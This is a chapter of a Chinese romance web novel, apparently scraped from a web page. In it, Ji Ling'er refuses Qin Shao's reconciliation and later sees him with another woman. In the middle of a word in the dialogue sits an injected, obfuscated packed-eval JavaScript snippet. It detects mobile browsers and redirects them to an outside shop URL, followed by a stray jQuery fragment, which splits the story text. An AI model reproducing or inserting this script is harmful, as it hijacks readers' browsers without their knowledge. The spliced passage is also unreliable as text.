一直到躺到榻上,季灵儿仍觉唇上发烫,止不住地回味方才那个吻。
秦劭的吻一向温柔,从未有过今日这般霸道狠重,像是伪装的猛兽露出獠牙,欲将她拆吃入腹。
她清楚他在生气,因为她存心气他,要他不痛快,报复他先前的隐瞒。
然而当他的唇贴上来时,她才明白自己有多贪恋那温度,报复的快意不过一瞬,心尖的颤动久久不散,又酸又软,教人难以喘息。
揭开猛兽伪装带来的不是恐慌,而是得意,还有隐秘的欢愉,如同他每一次埋头在她身下亲吻,身体虽由他掌控在情潮中沉浮,可真正令她攀上浪潮最顶端的,是他甘愿为她俯首的姿态。
受惯了冷眼,实在难以拒绝这般诱惑。
况且那人是秦劭,以铁面冷腕名满河东府的商行大当家,所有旁人看不到的一面,在她面前展露无遗,季灵儿的虚荣心被填得满满当当,分不清,自己究竟是喜欢他多一些,还是更沉迷这份独占的快意。
偶尔一丝羞耻浮上来,提醒她是后者。她就是心思龌龊,卑劣又无耻。
猛地收回抚在唇上的手,狠狠在胳膊上掐一把,将自己责骂一顿,决心与他划清界限,不能再任由贪念滋长。
...
次日一早,秦劭的马车停在巷子口,来往不少人驻足探看,其中自然少不了爱凑热闹的张婶。
马车华盖青帷,四角悬铃,一看就是富贵人家的制式,张婶清楚这条巷子里所有人家的底细,没听说谁家有富贵亲戚。
唯一的可能便是新搬来的季灵儿。
瞧见她出来,眯眼笑着招呼:“出门呀?”
季灵儿:“是,还是劳烦您帮我照看几日。”
每日雇马车往返吉安与曹县耗银不少,她打算暂住叠翠园,昨日回来完全是意外。
张婶目光在她脸上打了个转,又朝巷口瞥去,笑得意味深长:“外头那马车是接你的?”
季灵儿点头,不自然地解释:“朋友,正好顺路。”
说话间陈家父子一前一后出来,准备去上工,张婶转头叮嘱他们,季灵儿道了别向马车去。
“灵儿姑娘。”
陈胜松叫住她,快走两步追到跟前,递上手里的包裹:“我娘蒸的枣糕,让你带一份路上吃。”
季灵儿接过,包裹透出的热气渗入掌心,隐约已能闻见红枣的甜香,弯唇向他道谢。
陈胜松挠挠头:“娘让我问问,你这次去几天?”
“尚不确定,有事吗?”
陈胜松亦不知自家老娘让他跑过来问这些做什么,还让把他晌里垫饥的干粮给她。
面对疑问含糊道:“没事,你一切当心。”
马车中,秦劭挑起窗帘一角,淡淡扫了眼车外说话的男子。
季灵儿捧着枣糕钻进来,他已端坐如常,眉眼含笑看她。
“和新邻居处得不错。”他声音平静,听不出情绪。
“是啊,张婶热心,照顾我不少。”
秦劭递过一个檀木食盒,“来时买的早点,你尝尝是否合口。”
想到昨夜对自己的告诫,季灵儿硬生生压下接过的冲动,低头去解陈胜松给的包裹:“您用吧,我吃这个足够。”
“灵儿。”秦劭眸色忽暗,嗓音沉了几分。
季灵儿只作未闻,咬一大口枣糕,故意嚼得香甜。
秦劭看着她一口一口吃,心里闷得发慌。
待她咽下最后一口,打开水壶塞子给她递过去,沉吟着开口:“咱们谈谈?”
季灵儿的确吃急了有些噎,但还是忍着没接,兀自平复,不冷不热道:“您说。”
僵在半空的胳膊终是收回去。
“先前行事惹你不痛快,确是我欠考虑,你生气,闹脾气,我都认,但我待你之心从未掺假。”他声音低缓,目光紧锁着她,“夫妻间难免有磕绊,多磨合几次自然顺了,没有动一次气就闹和离的道理。我们把话说开,我保证日后事事以诚相待,能否得一次改过的机会?”
字字真切诚恳,季灵儿心头软得一塌糊涂,但她忍下了,用最冷漠的语气回道:“感情本就不是讲道理的,您不必费心思同我讲道理,我已经不气了,但也不愿意再回您身边做什么秦家少夫人。”
她不生气,却不愿回到他身边,秦劭攒紧的眉心写满不解:“你心里分明是有我的。”
“那是我无知,顶着宋芮宁的身份理不清情感,错把对您的依赖当成心动,如今脱了那层皮,看清了,就不能再自欺。”季灵迎上他的目光,一字一句道:“现在和以后,我对您都只会有对先生的敬重,再无其他,您也不必再执着于挽回什么。”
他眼中光亮一点一点黯下去,如同燃烧彻夜的烛火,只剩一豆将熄的残焰,猩红又苍凉。
季灵儿狠心决断,索性一口气将话说绝,不给自己留退路。
“以您的身份,该娶一位门当户对的女子,于您于秦家,甚至于商行皆有益处,这道理您比我清楚,所以,别再在我身上耗费精力了,不值得。”
秦劭冷笑:“感情不讲道理,便能拿利益衡量了?”
“感情不能,但亲事可以,你们大户人家不最讲究门当户对,利益置换吗?”
她说得太过冷静,饶是秦劭善于识人断相,也辨不清是气话还是真心。
“你认真的?”
季灵儿点头。
她捱过饥寒,深知情爱是最无用的东西,换作她易地而处,同样会选择一个能为家族带来助力的联姻对象,而非纠缠无谓情爱。
她不允许自己因无耻的私心耽误他。
心意已决,再看向他时目光清澈而决绝,“先生,您和我各有使命背负,各有自己的路要走,我本就是为了钱财才误打误撞嫁给您,不纯粹的开始注定得不到善终,眼下各归其位是最好的结局,别再强求其他了。”
这些说给他的话,亦是说给自己听。
话音落,感觉眼眶湿润润的,匆忙别过脸,泪水无声滚落,未让他瞧见。
...
转眼快至端阳。
节后弟子们要入商行名下铺子实践历练,检验所学,正巧凑节日时放两日假,让大伙回家休整准备。
初四日晌午,姚怀义代替宣布分派之事,言秦劭有要事脱不开身。
姚怀义不端架子,闲暇时和弟子们说笑打趣也是常有,因此众人在他面前并不如在秦劭跟前拘谨,当堂提出困惑:“先前师父已说明分组和去向都由抓阄决定,为何忽然改为直接公布名单?”
“抓阄固然公平,不过商道重在务实,考虑日后你们要回归本家家业,能力对位更妥当,故而改为安排你们去与家中产业相契合的铺面,提前熟悉熟悉。”
姚怀义一本正经解释完,弟子们也觉此法更合情理,纷纷点头。
怎料他话锋一转,笑道:“当然了,这只是其中一个原因,真正的原因是你们师父好事将近,人逢喜事精神爽,安排上便多了人情味。”
“喜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623443|184104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事?”数十双目光惊疑看向他。
“你们要有新师娘咯。”姚怀义拖腔拿调说着,视线落在季灵儿脸上。
她和众人一样怔住,很快垂下眼帘,不给姚怀义审量的机会。
身旁有人追问:“新师娘,那原来的师娘呢?”
“跑了。”姚怀义说完不给众人往深探究的机会,转而公布各人去向。
为起到历练效果,分派的铺面分散至河东府各县,且都是商行名下经营一般,积弊待整的铺子。
季灵儿如愿分到曹县秦家名下的广兴票号,隐隐觉得是秦劭有意帮她,嘴角刚翘起一抹弧度,又听闻梁宸也是此处,瞬时凝住。
同梁宸一组,岂非所有行动都暴露在梁守正眼皮底下?
她想不明白秦劭如此安排的用意,难不成那日她绝情的话把人伤得狠了,近段时间面上装洒脱和她保持纯粹师徒关系,实际暗暗记仇,借机给她添堵?
转念又想,记仇报复是她一贯作风,他应当不至于。
姚怀义合上手中名册,道:“分派已定,不得更换,有异议者可去找你们师父询问。”
秦劭思量周全,弟子们没有不满意的。
许是她凝重的神情太明显,姚怀义特意点名问:“季凌有难处?”
“没有。”季灵儿勉强弯出笑容。
话都说绝了,二人好不容易回到最初时的状态,她不想私下去他面前争辩什么,也不合适再私下找他,见招拆招罢。
“那便好,”姚怀义点点头,对众人道:“你们往后要有一大段日子不能聚在一处,今儿中午我做东,请大家吃饭听曲,如何?”
众人哄然叫好。
姚怀义:“丰乐楼,你们只管尽兴,花销记在我账上。”
林起问:“您不同去吗?”
姚怀义摆手笑道:“不了,家中管得严。”
他惧内的传闻早有流传,此刻一句自嘲,逗得众人前仰后合。
说笑过后,有弟子不安地问道:“那......师父知晓吗?”
姚怀义意会:“放心,他知不知晓都不会说什么,更不会去搅扰你们,另外我做主多准你们半日假,痛痛快快耍一场!”
丰乐楼。
有过一次聚会偶逢师父的经历,弟子们格外谨慎,每每出来聚总要先探看隔壁,这次也不例外。
楼里丝竹管弦不绝,舞女裙裾翻飞,舞过一曲又一曲,酒酣兴尽,季灵儿正托腮发呆,忽闻一声惊呼。
“快看,那是不是师父!”
她睁着迷蒙的眼循师兄所指望向楼下,果见一道熟悉的身影往外走。
秦劭本就是难得的俊朗人物,举手投足自有一番卓绝气度,如雪松孤立寒山,十分惹眼。
虽只是背影,熟悉之人皆能一眼认出,唯一令弟子们犹疑的,是他身旁跟着一位水蓝衣裙,身形窈窕的女子,二人并肩,女子偶尔侧脸看他,脸上挂着浅笑。
“莫不是姚师父口中说的新师娘?”
“小师弟可识得?”
季灵儿约莫认出是在云家有过一面之缘的柳氏,但她摇了头。
“你不是师父义子吗?这样的大事都不知晓?”
熟悉的场面,恍惚回到年后那次相聚,同样把酒言欢,同样好奇地打听师娘,师兄们脸上的神情与当初何其相似,独独她的心境大不相同。
原来时过境迁,是这般体验。
季灵儿涩然一笑,淡淡道:“他的私事,我无从过问。”